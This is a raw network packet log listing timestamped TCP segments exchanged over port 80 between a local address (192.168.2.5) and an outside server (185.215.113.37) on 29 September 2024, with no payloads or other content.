Sep 29, 2024 02:00:18.057727098 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.057761908 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.057774067 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.057785034 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.057796001 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.057807922 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.057813883 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.057821989 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.057832003 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.057842970 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.057847023 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.057856083 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.057867050 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.057867050 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.057878017 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.057888031 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.057888985 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.057900906 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.057909012 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.057914019 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.057925940 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.057952881 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.057979107 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.058046103 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.058058023 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.058109045 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.058202028 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.058213949 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.058226109 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.058238029 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.058245897 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.058262110 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.058304071 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.058423996 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.058435917 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.058448076 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.058459997 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.058469057 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.058471918 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.058484077 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.058495045 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.058501005 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.058506966 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.058517933 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.058520079 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.058531046 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.058540106 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.058543921 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.058554888 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.058554888 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.058582067 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.058608055 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.059118986 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.059132099 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.059143066 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.059154987 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.059165955 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.059176922 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.059179068 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.059191942 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.059205055 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.059222937 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.059281111 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.059293032 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.059303045 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.059315920 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.059318066 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.059329987 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.059341908 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.059345961 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.059354067 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.059365988 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.059372902 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.059377909 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.059391975 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.059411049 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.059428930 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.059588909 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.059971094 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.060164928 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.060178995 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.060195923 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.060206890 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.060229063 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.060262918 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.074326992 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.074346066 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.074358940 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.074369907 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.074382067 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.074393034 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.074404955 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.074409008 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.074464083 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.074589014 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.074642897 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.075412035 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.075434923 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.075448036 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.075460911 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.075468063 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.075472116 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.075485945 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.075489044 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.075499058 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.075510025 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.075536966 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.075556040 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.148602962 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.148638964 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.148652077 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.148685932 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.148699045 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.148710966 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.148742914 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.148768902 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.148818970 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.148916960 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.148952007 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.148962975 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.148968935 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.148974895 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.148988008 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.149000883 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.149063110 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.149240971 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.149260044 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.149271965 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.149282932 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.149296999 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.149308920 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.149321079 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.149334908 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.149374008 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.149771929 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.149784088 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.149796009 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.149808884 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.149820089 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.149831057 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.149841070 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.149843931 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.149856091 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.149868965 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.149877071 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.149880886 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.149893045 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.149904013 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.149914980 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.149914980 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.149928093 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.149940014 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.149951935 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.149961948 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.149998903 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.150717974 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.150732040 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.150749922 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.150763035 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.150774002 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.150788069 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.150799036 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.150811911 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.150824070 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.150825024 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.150837898 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.150850058 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.150861025 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.150863886 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.150872946 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.150883913 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.150895119 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.150904894 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.150907040 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.150918961 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.150959015 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.150990009 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.151660919 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.151678085 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.151688099 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.151699066 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.151710033 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.151721001 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.151731968 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.151743889 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.151747942 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.151757002 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.151767969 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.151779890 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.151791096 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.151794910 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.151803017 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.151813984 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.151824951 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.151834965 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.151837111 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.151849985 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.151869059 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.151906013 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.152651072 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.152662992 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.152674913 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.152688026 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.152699947 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.152709961 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.152721882 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.152736902 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.152736902 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.152749062 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.152760983 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.152771950 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.152782917 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.152795076 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.152806044 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.152813911 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.152817965 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.152831078 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.152842045 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.152859926 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.152896881 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.153507948 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.153522015 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.153533936 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.153543949 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.153556108 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.153568983 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.153580904 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.153593063 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.153597116 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.153651953 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.162659883 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.162744045 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.162803888 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.162806988 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.162820101 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.162841082 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.162880898 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.163007975 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.163021088 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.163032055 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.163079023 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.163104057 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.163809061 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.163822889 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.163835049 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.163851976 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.163865089 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.163877010 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.163888931 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.163897991 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.163907051 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.163973093 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.237262011 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.237277031 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.237287998 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.237299919 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.237312078 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.237391949 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.237462044 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.237569094 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.237581968 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.237596035 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.237606049 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.237617016 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.237628937 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.237641096 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.237647057 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.237653971 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.237698078 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.237721920 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.237925053 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.237937927 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.237950087 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.237961054 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.237972021 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.237994909 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.238028049 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.238244057 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.238257885 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.238270044 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.238282919 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.238293886 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.238303900 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.238316059 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.238320112 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.238327980 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.238343954 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.238356113 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.238363028 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.238367081 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.238379002 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.238389969 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.238390923 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.238404989 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.238425016 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.238468885 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.238934994 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.238957882 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.238969088 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.238979101 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.238991022 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.239001989 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.239012957 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.239022970 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.239033937 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.239044905 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.239044905 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.239056110 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.239067078 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.239078045 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.239089012 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.239099026 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.239100933 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.239113092 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.239125013 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.239140987 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.239156961 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.239172935 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.239213943 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.239983082 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.239995003 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.240005970 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.240017891 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.240029097 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.240041018 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.240051031 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.240061998 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.240063906 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.240073919 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.240086079 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.240097046 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:18.240132093 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:18.240144014 CEST	49704	80	192.168.2.5	185.215.113.37
